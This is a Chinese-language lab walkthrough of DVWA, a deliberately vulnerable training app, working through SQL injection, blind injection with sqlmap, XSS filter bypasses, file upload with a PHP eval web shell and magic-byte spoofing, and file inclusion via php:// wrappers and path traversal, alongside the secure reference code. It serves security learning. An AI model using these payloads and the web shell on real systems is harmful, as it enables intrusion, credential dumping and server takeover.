DVWA靶场

DVWA

SQL Injection

Low

  • 先尝试是否存在注入漏洞

    ?id=1'&Submit=Submit#
    报错
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
    
    ?id=1''&Submit=Submit#
    成功输出
    ID: 1''
    First name: admin
    Surname: admin
    
  • 说明是字符型注入

    /?id=-1' or 1%23&Submit=Submit#
    ID: -1' or 1#
    First name: admin
    Surname: admin
    
    ID: -1' or 1#
    First name: Gordon
    Surname: Brown
    
    ID: -1' or 1#
    First name: Hack
    Surname: Me
    
    ID: -1' or 1#
    First name: Pablo
    Surname: Picasso
    
    ID: -1' or 1#
    First name: Bob
    Surname: Smith
    
  • 判断查询结果列数和显示位置

    ?id=1' order by 3%23&Submit=Submit#
    Unknown column '3' in 'order clause'
    报错,说明查询结果有两列
    
    ?id=-1' union select 1,2%23&Submit=Submit#
    ID: -1' union select 1,2#
    First name: 1
    Surname: 2
    第1,2列分别在2,3行
    
  • 爆数据库基本信息

    /?id=-1' union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+CONCAT(COUNT(schema_name),0x202f20446174616261736573)+FROM+INFORMATION_SCHEMA.SCHEMATA)%23&Submit=Submit#
    ID: -1' union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT CONCAT(COUNT(schema_name),0x202f20446174616261736573) FROM INFORMATION_SCHEMA.SCHEMATA)#
    First name: root@localhost : dvwa : 5.5.47-0ubuntu0.14.04.1
    Surname: 4 / Databases
    
  • ……

Medium

  • 该难度的请求是POST形式

    image-20250520092710279

  • 同理,测试参数id,加上单引号时报错,但是加上'#时也报错

    id=1’#&Submit=Submit
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '#' at line 1
    怀疑可能是数字型注入
    
    id=2-1#&Submit=Submit
    ID: 2-1#
    First name: admin
    Surname: admin
    
  • 该注入点是数字型注入,后续过程就差不多了

    id=-1 order by 3#&Submit=Submit
    Unknown column '3' in 'order clause'
    查询结果有两列
    
    id=-1 union select 1,2#&Submit=Submit
    ID: -1 union select 1,2#
    First name: 1
    Surname: 2
    
    id=-1 union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA)#&Submit=Submit
    ID: -1 union select CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT+GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA)#
    First name: root@localhost : dvwa : 5.5.47-0ubuntu0.14.04.1
    Surname: information_schema
    dvwa
    mysql
    performance_schema
    
  • ……

High

  • 该难度在独立窗口中发送请求,原来的页面接收响应,以下是发送出去的请求

    POST /vulnerabilities/sqli/session-input.php HTTP/1.1
    Host: 192.168.137.146:81
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    DNT: 1
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.137.146:81/vulnerabilities/sqli/session-input.php
    Content-Type: application/x-www-form-urlencoded
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    Content-Length: 18
    
    id=1&Submit=Submit
    ------------------------------------------------------------------------------------
    GET /vulnerabilities/sqli/ HTTP/1.1
    Host: 192.168.137.146:81
    Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    Pragma: no-cache
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    DNT: 1
    Cache-Control: no-cache
    
  • 抓包发现,请求被发送到session-input.php,并且还要跟随对/vulnerabilities/sqli/的请求才能得到正确响应。猜测处理逻辑是点击按钮会依次触发这两个请求,携带id参数的请求发送到session-input.php,然后session-input.php将参数保存,下一次请求/vulnerabilities/sqli/页面时,会调用保存的参数,然后返回数据。

  • 使用yakit的序列配置发送请求即可

    image-20250520100906276

  • 然后对id参数进行修改测试,其余步骤与前面的过程类似

    经过测试,发现是字符型注入
    id=-1' or 1#&Submit=Submit
    ID: -1' or 1#
    First name: admin
    Surname: admin
    ID: -1' or 1#
    First name: Gordon
    Surname: Brown
    ID: -1' or 1#
    First name: Hack
    Surname: Me
    ID: -1' or 1#
    First name: Pablo
    Surname: Picasso
    ID: -1' or 1#
    First name: Bob
    Surname: Smith
    
    爆数据库信息
    id=-1' union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x64767761)#&Submit=Submit
    ID: -1' union select (SELECT GROUP_CONCAT(schema_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.SCHEMATA),(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x64767761)#
    First name: information_schema
    dvwa
    mysql
    performance_schema
    Surname: guestbook
    users
    
  • ……

Impossible

  • 使用了SQL预编译技术,查询语句的语法结构在执行前已固定,传入的参数仅作为字符串,无法注入。此外,还会校验发送的请求中是否包含正确的嵌入在页面中的user_token,这个token每次请求都不同,用来防重放攻击。

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
            $row = $data->fetch();
    
            // Make sure only 1 result is returned
            if( $data->rowCount() == 1 ) {
                // Get values
                $first = $row[ 'first_name' ];
                $last  = $row[ 'last_name' ];
    
                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

SQL Injection (Blind)

Low

  • 这个题无论是否查询成功,都不会将结果回显,仅在查询成功时显示exists,失败时显示MISSING

    /?id=-1'%23&Submit=Submit#
    User ID is MISSING from the database.
    
    /?id=1'%23&Submit=Submit#
    User ID exists in the database.
    
  • 可以使用布尔盲注的方式进行注入

    /?id=1' and length(database())=4%23&Submit=Submit#
    User ID exists in the database.
    
    /?id=1' and substr(database(),1,1)='d'%23&Submit=Submit#
    User ID exists in the database.
    /?id=1' and substr(database(),2,1)='v'%23&Submit=Submit#
    User ID exists in the database.
    /?id=1' and substr(database(),3,1)='w'%23&Submit=Submit#
    User ID exists in the database.
    /?id=1' and substr(database(),4,1)='a'%23&Submit=Submit#
    User ID exists in the database.
    
  • 这样逐个测试很慢,使用sqlmap

    python .\sqlmap.py -u 'http://192.168.137.146:81/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' -p id --dbms mysql --technique B -D dvwa --tables --cookie 'PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=low; showhints=1'
    Database: dvwa
    [2 tables]
    +-----------+
    | guestbook |
    | users     |
    +-----------+
    

Medium

  • 该题和SQL Injection的Medium一样,请求都是POST形式,但是只会显示MISSING和exists,通过修改id参数进行测试,发现是数字型注入,使用同样方法进行布尔盲注

    id=1 and 1=2&Submit=Submit
    User ID is MISSING from the database.
    id=1 and 1=1&Submit=Submit
    User ID exists in the database.
    
    id=1 and length(database())=4&Submit=Submit
    User ID exists in the database.
    
  • 使用sqlmap,--data指定POST参数

    python .\sqlmap.py -u 'http://192.168.137.146:81/vulnerabilities/sqli_blind/#' --data 'id=1&Submit=Submit' -p id --dbms mysql --technique B -D dvwa -T users --columns --cookie 'PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=medium; showhints=1'
    Database: dvwa
    Table: users
    [8 columns]
    +--------------+-------------+
    | Column       | Type        |
    +--------------+-------------+
    | user         | varchar(15) |
    | avatar       | varchar(70) |
    | failed_login | int(3)      |
    | first_name   | varchar(15) |
    | last_login   | timestamp   |
    | last_name    | varchar(15) |
    | password     | varchar(32) |
    | user_id      | int(6)      |
    +--------------+-------------+
    

High

  • 和SQL Injection的High一样,需要先向cookie-input.php传参,但是抓包发现好像又有些不一样,最终还是在/vulnerabilities/sqli_blind/请求的cookie中以id传参,cookie-input.php好像没起到作用

    POST /vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
    Host: 192.168.137.146:81
    Referer: http://192.168.137.146:81/vulnerabilities/sqli_blind/cookie-input.php
    Cookie: id=1; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    DNT: 1
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Content-Length: 18
    
    id=3&Submit=Submit
    ----------------------------------------------------------------------------------
    GET /vulnerabilities/sqli_blind/ HTTP/1.1
    Host: 192.168.137.146:81
    Referer: http://192.168.137.146:81/security.php
    Cookie: id=3; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    DNT: 1
    Accept-Encoding: gzip, deflate
    Pragma: no-cache
    Cache-Control: no-cache
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    
  • 并且该注入点还是字符型

    Cookie: id=1'#; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    User ID exists in the database.
    Cookie: id=1'; PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    User ID is MISSING from the database.
    
  • 将对/vulnerabilities/sqli_blind/页面的GET请求数据包保存到1.txt中,使用sqlmap进行注入,level大于2时sqlmap才会考虑测试cookie值。

    python .\sqlmap.py -r .\1.txt --dbms mysql  --random-agent -D dvwa -T users -C user,password --dump --level 3 --technique B
    Database: dvwa
    Table: users
    [5 entries]
    +---------+---------------------------------------------+
    | user    | password                                    |
    +---------+---------------------------------------------+
    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
    | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
    | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
    | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
    | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
    +---------+---------------------------------------------+
    

Impossible

  • 同样是预编译+CSRF Token

XSS Reflected

Low

  • 反射型XSS攻击,alert(1)触发弹窗进行验证

    http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+<script>alert(1)</script>#
    

Medium

  • 存在过滤

    http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+<script>alert(1)</script>#
    Hello 1 alert(1)
    猜测可能时过滤掉了<script>
    
    查看前端页面源代码,发现内容被<pre>标签包裹,并且过滤掉了前面的<script>标签
    <pre>Hello 1 alert(1)</script></pre>
    
    尝试闭合加大小写绕过,结果成功
    <pre>Hello 1 </pre><scRiPt>alert(1)</script></pre>
    

High

  • 过滤更加严格,同样的方法在High难度不适用

    http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+</pre><scRiPt>alert(1)</script>#
    <pre>Hello 1 ></pre>
    根据返回的内容,判断参数中传递的</pre><scRiPt></script>都被过滤了,但是最后的结果中仍保留了一个>
    
    http://192.168.137.146:81/vulnerabilities/xss_r/?name=1</pre><>#
    <pre>Hello 1</pre><></pre>
    发现"<>、<pre>"并不会被过滤,并且尝试过script双写大小写都被过滤掉了,但是可以尝试其他标签进行xss攻击
    
    http://192.168.137.146:81/vulnerabilities/xss_r/?name=1+</pre><svg onload=alert(1)></svg>#
    <pre>Hello 1 </pre><svg onload=alert(1)></svg></pre>
    成功弹窗
    
  • 查看代码,后端判断了传递的name参数是否为空,然后用正则表达式匹配了所有可能的<script的变体,包括用各种字符间隔,大小写等

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 
    

Impossible

  • 检查name参数是否为空,非空则继续检查请求中携带的user_token是否与页面中嵌入的CSRF_Token一致,防止重放和CSRF攻击,然后将name参数的值进行HTML实体编码,再输出到前端,让其不能作为代码执行

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

XSS Srored

Low

  • 存储型XSS攻击,攻击者写入的恶意代码会被保存在服务器后端,其他用户加载该页面时也会加载该恶意代码,用于对使用该服务的其他用户进行攻击

  • 请求形式为POST,在mtxMessage参数中写入js代码即可完成

    http://192.168.137.146:81/vulnerabilities/xss_s/
    ...
    txtName=123&mtxMessage=<script>alert(1)</script>&btnSign=Sign%2BGuestbook
    页面源代码:
    Name: 1<br />Message: <script>alert(1)</script><br />
    

Medium

  • 该难度存在过滤,为方便展示,以下请求内容只展示POST请求体和对应响应

    txtName=123&mtxMessage=<script>alert(1)</script>&btnSign=Sign%2BGuestbook
    Name: 123<br />Message: alert(1)<br />
    <script></script>标签被过滤
    
    尝试用<svg></svg>标签,发现也被过滤
    txtName=123&mtxMessage=<svg onload=alert(1)></svg>&btnSign=Sign%2BGuestbook
    Name: 123<br />Message: <br />
    
    尝试在txtNmae和mtxMessage参数中都写入恶意代码,成功,没有过滤Name的值
    txtName=<svg onload=alert(1)></svg>&mtxMessage=<svg onload=alert(1)></svg>&btnSign=Sign%2BGuestbook
    Name: <svg onload=alert(1)></svg><br />Message: <br />
    

High

  • 使用Medium的方法同样能解,应该是Medium的name什么也没过滤,而High的Name对script进行了过滤,但是同样没有对<svg>过滤

  • 查看代码,首先将传递的参数值去掉首尾空字符然后赋值给message和name,再对message的内容中特殊字符进行转义然后移除html和php标签(这一步处理顺序有问题),然后又对处理后的结果进行SQL转义,最后对结果进行HTML实体编码。但是对name的内容处理逻辑就简单许多,只过滤了<script的各种变体,然后进行SQL转义。最后将message和name存入数据库,但是没有使用预编译,存在报错注入可能,尤其是当服务器采用多字节字符集(如 GBK、BIG5 等)时,mysql_real_escape_string 可能无法正确处理特殊字符,从而导致 SQL 注入漏洞

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        // 对特殊字符进行转义然后移除html和php标签
        $message = strip_tags( addslashes( $message ) );
        // 进行SQL转义
        $message = mysql_real_escape_string( $message );
        // HTML实体编码
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
        $name = mysql_real_escape_string( $name );
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
    
        //mysql_close();
    }
    
    ?> 
    

Impossible

  • 查看代码,检查btnSign参数是否为空,非空继续检查CSRF Token,然后对message都采用以下处理方式:

    • 移除字符串中反斜杠
    • 进行SQL转义,防止SQL注入
    • HTML实体编码
  • 使用SQL预编译方法将内容存入数据库

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );
        $message = mysql_real_escape_string( $message );
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = stripslashes( $name );
        $name = mysql_real_escape_string( $name );
        $name = htmlspecialchars( $name );
    
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

File Upload

Low

  • 上传文件,该级别没有限制,直接上传一句话php木马文件

    <?php @eval($_POST['cmd'])?>
    ../../hackable/uploads/1.php succesfully uploaded!
    
  • 用文件包含来验证

    http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.php
    ...
    cmd=system('pwd;id');
    显示:
    /app/vulnerabilities/fi uid=33(www-data) gid=33(www-data) groups=33(www-data) 
    

Medium

  • 该难度只允许上传JPEG或PNG图片,应该是前端校验,可以通过将后缀先改为 png,然后抓包修改绕过

    POST /vulnerabilities/upload/ HTTP/1.1
    Host: 192.168.137.146:81
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    Content-Type: multipart/form-data; boundary=---------------------------25293250812864
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=medium; showhints=1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Referer: http://192.168.137.146:81/vulnerabilities/upload/
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Content-Length: 427
    
    -----------------------------25293250812864
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    -----------------------------25293250812864
    Content-Disposition: form-data; name="uploaded"; filename="1.php"
    Content-Type: image/png
    
    <?php @eval($_POST['cmd'])?>
    -----------------------------25293250812864
    Content-Disposition: form-data; name="Upload"
    
    Upload
    -----------------------------25293250812864--
    
    响应
    ../../hackable/uploads/1.php succesfully uploaded!
    
  • 用文件包含漏洞来验证

    http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.php
    ...
    cmd=system('ls -al');
    显示
    total 24
    drwxrwxr-x.  4 www-data www-data  136 Oct  5  2015 .
    drwxrwxr-x. 12 www-data www-data  209 Oct  5  2015 ..
    -rw-rw-r--.  1 www-data www-data  604 Oct  5  2015 file1.php
    -rw-rw-r--.  1 www-data www-data  608 Oct  5  2015 file2.php
    ...
    

High

  • 校验机制更加严格,在后端进行了二进制文件头校验,即便后缀改为png直接上传也不行

  • PNG文件的开头标志是八个字节89 50 4E 47 0D 0A 1A 0A,表示这是一个PNG图片。更改1.png的文件头的前八个字节为png文件标志,然后再上传。

    POST /vulnerabilities/upload/ HTTP/1.1
    Host: 192.168.137.146:81
    Accept-Encoding: gzip, deflate
    Cookie: PHPSESSID=g4dlh1jhdcs3qikaal7vhavn32; security=high; showhints=1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    DNT: 1
    Referer: http://192.168.137.146:81/vulnerabilities/upload/
    Content-Type: multipart/form-data; boundary=---------------------------316519304865
    Content-Length: 463
    
    -----------------------------316519304865
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    100000
    -----------------------------316519304865
    Content-Disposition: form-data; name="uploaded"; filename="1.png"
    Content-Type: image/png
    
    {{unquote("\x89PNG\x0d\x0a\x1a\x0a<?php @eval\x28$_POST['cmd']\x29?>")}}
    -----------------------------316519304865
    Content-Disposition: form-data; name="Upload"
    
    Upload
    -----------------------------316519304865--
    
    响应
    ../../hackable/uploads/1.png succesfully uploaded!
    
  • 使用文件包含验证

    http://192.168.137.146:81/vulnerabilities/fi/?page=../../hackable/uploads/1.png
    ...
    cmd=system('uname -a');
    显示
    Linux bdd8e96370d0 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
    

Impossible

  • 查看代码

    <?php
    
    // 检查是否提交了表单
    if (isset($_POST['Upload'])) {
        // 检查 CSRF token,防止跨站请求伪造攻击和重放攻击
        checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
    
        // 获取上传文件的信息
        $uploaded_name = $_FILES['uploaded']['name']; // 文件名
        // strrpos在字符串中找符号'.'最后一次出现的位置,然后用substr截取'.'后的字符串,得到扩展名
        $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
        $uploaded_size = $_FILES['uploaded']['size']; // 文件大小
        $uploaded_type = $_FILES['uploaded']['type']; // 文件类型
        $uploaded_tmp = $_FILES['uploaded']['tmp_name']; // 临时文件路径
    
        // 定义目标存储路径
        $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; // 文件存储目录
        // 生成目标文件名,使用 MD5 哈希值避免文件名冲突
        $target_file = md5(uniqid() . $uploaded_name) . '.' . $uploaded_ext;
        // 生成临时文件路径
        $temp_file = ((ini_get('upload_tmp_dir') == '') ? (sys_get_temp_dir()) : (ini_get('upload_tmp_dir')));
        $temp_file .= DIRECTORY_SEPARATOR . md5(uniqid() . $uploaded_name) . '.' . $uploaded_ext;
    
        // 检查文件是否为图片
        if ((strtolower($uploaded_ext) == 'jpg' || strtolower($uploaded_ext) == 'jpeg' || strtolower($uploaded_ext) == 'png') &&
            ($uploaded_size < 100000) && // 文件大小限制为 100KB
            ($uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png') && // 文件类型限制为 JPEG 或 PNG
            getimagesize($uploaded_tmp)) { // 确保文件是有效的图片
    
            // 重新编码图片,去除元数据(防止图片中嵌入恶意代码)
            if ($uploaded_type == 'image/jpeg') {
                $img = imagecreatefromjpeg($uploaded_tmp); // 从 JPEG 文件创建图像
                imagejpeg($img, $temp_file, 100); // 保存为新的 JPEG 文件
            } else {
                $img = imagecreatefrompng($uploaded_tmp); // 从 PNG 文件创建图像
                imagepng($img, $temp_file, 9); // 保存为新的 PNG 文件
            }
            imagedestroy($img); // 释放图像资源
    
            // 将临时文件移动到目标路径
            if (rename($temp_file, (getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file))) {
                // 文件上传成功
                echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
            } else {
                // 文件上传失败
                echo '<pre>Your image was not uploaded.</pre>';
            }
    
            // 删除临时文件
            if (file_exists($temp_file)) {
                unlink($temp_file);
            }
        } else {
            // 文件类型或大小不符合要求
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    // 生成 Anti-CSRF token,用于防止跨站请求伪造攻击
    generateSessionToken();
    
    ?>
    
  • 以上代码会将上传的图片经过解析、校验、重编码的过程,从上传成功到处理完成存在一定的时间间隔,应该存在条件竞争的可能,但是我尝试利用yakit热加载功能替换CSRF并通过爆破上传,最后并没有成功🤕

File Inclusion

Low

  • 没有限制,可以读取系统内任意文件

    先读取一下file1.php源码看看
    http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/convert.base64-encode/resource=file1.php
    显示
    PD9waHANCg0KJHBhZ2VbICdib2R5JyBdIC49ICINCjxkaXYgY2xhc3M9XCJib2R5X3BhZGRlZFwiPg0KCTxoMT5WdWxuZXJhYmlsaXR5OiBGaWxlIEluY2x1c2lvbjwvaDE+DQoJPGRpdiBjbGFzcz1cInZ1bG5lcmFibGVfY29kZV9hcmVhXCI+DQoJCTxoMz5GaWxlIDE8L2gzPg0KCQk8aHIgLz4NCgkJSGVsbG8gPGVtPiIgLiBkdndhQ3VycmVudFVzZXIoKSAuICI8L2VtPjxiciAvPg0KCQlZb3VyIElQIGFkZHJlc3MgaXM6IDxlbT57JF9TRVJWRVJbICdSRU1PVEVfQUREUicgXX08L2VtPjxiciAvPjxiciAvPg0KCQlbPGVtPjxhIGhyZWY9XCI/cGFnZT1pbmNsdWRlLnBocFwiPmJhY2s8L2E+PC9lbT5dDQoJPC9kaXY+DQoNCgk8aDI+TW9yZSBpbmZvPC9oMj4NCgk8dWw+DQoJCTxsaT4iIC4gZHZ3YUV4dGVybmFsTGlua1VybEdldCggJ2h0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1JlbW90ZV9GaWxlX0luY2x1c2lvbicgKSAuICI8L2xpPg0KCQk8bGk+IiAuIGR2d2FFeHRlcm5hbExpbmtVcmxHZXQoICdodHRwczovL3d3dy5vd2FzcC5vcmcvaW5kZXgucGhwL1RvcF8xMF8yMDA3LUEzJyApIC4gIjwvbGk+DQoJPC91bD4NCjwvZGl2PlxuIjsNCg0KPz4NCg==
    解码
    <?php
    $page[ 'body' ] .= "
    <div class=\"body_padded\">
        <h1>Vulnerability: File Inclusion</h1>
        <div class=\"vulnerable_code_area\">
            <h3>File 1</h3>
            <hr />
            Hello <em>" . dvwaCurrentUser() . "</em><br />
            Your IP address is: <em>{$_SERVER[ 'REMOTE_ADDR' ]}</em><br /><br />
            [<em><a href=\"?page=include.php\">back</a></em>]
        </div>
        <h2>More info</h2>
        <ul>
            <li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Remote_File_Inclusion' ) . "</li>
            <li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Top_10_2007-A3' ) . "</li>
        </ul>
    </div>\n";
    ?>
    
    执行命令
    http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/resource=php://input
    ...
    <?php system('pwd;id');?>
    显示
    /app/vulnerabilities/fi uid=33(www-data) gid=33(www-data) groups=33(www-data) 
    

Medium

  • 该难度过滤了常规的目录穿越,如../../,但是通过....//....//即可绕过

    http://192.168.137.146:81/vulnerabilities/fi/?page=....//....//...//....//etc/passwd
    显示
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    ...
    
  • 其他伪协议,如php://filterphp://input未过滤

    http://192.168.137.146:81/vulnerabilities/fi/?page=php://filter/read/resource=php://input
    ...
    <?php system('free -h');?>
    显示
                 total       used       free     shared    buffers     cached
    Mem:          1.8G       1.7G        98M        32M         4K       203M
    -/+ buffers/cache:       1.5G       302M
    Swap:         2.0G       129M       1.9G
    
  • 查看代码,将用户传递的参数值中的http://、https://、../、..\替换为空,即限制了远程文件包含和目录穿越

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    $file = str_replace( array( "http://", "https://" ), "", $file );
    $file = str_replace( array( "../", "..\"" ), "", $file );
    
    ?> 
    

High

  • 该难度过滤更加严格,尝试了 编码绕过、00截断、伪协议都不行,先看看代码怎么写的。发现判断了传递的参数值必须以file开头或者是include.php

    <?php
    
    // The page we wish to display
    $file = $_GET[ 'page' ];
    
    // Input validation
    if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
        // This isn't the page we want!
        echo "ERROR: File not found!";
        exit;
    }
    
    ?> 
    
  • 所以可以以file*开头然后再进行目录穿越,即用*匹配目录中任意以file开头的文件,然后以这个文件开始的相对路径进行目录穿越。此外还可以直接使用file://读取系统文件

    http://192.168.137.146:81/vulnerabilities/fi/?page=file*/../../../../etc/passwd
    或
    http://192.168.137.146:81/vulnerabilities/fi/?page=file:///etc/passwd
    显示
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    
  • 由于file://伪协议后不能再跟php://filter伪协议,所以通过伪协议执行代码的方式不可行,此外,又由于apache2日志的访问权限被限制,www-data用户无法读,所以通过包含日志文件执行代码的方式也不可行。所以只能结合文件上传漏洞进一步利用。

    root@bdd8e96370d0:/var/log/apache2# ls -al
    total 36620
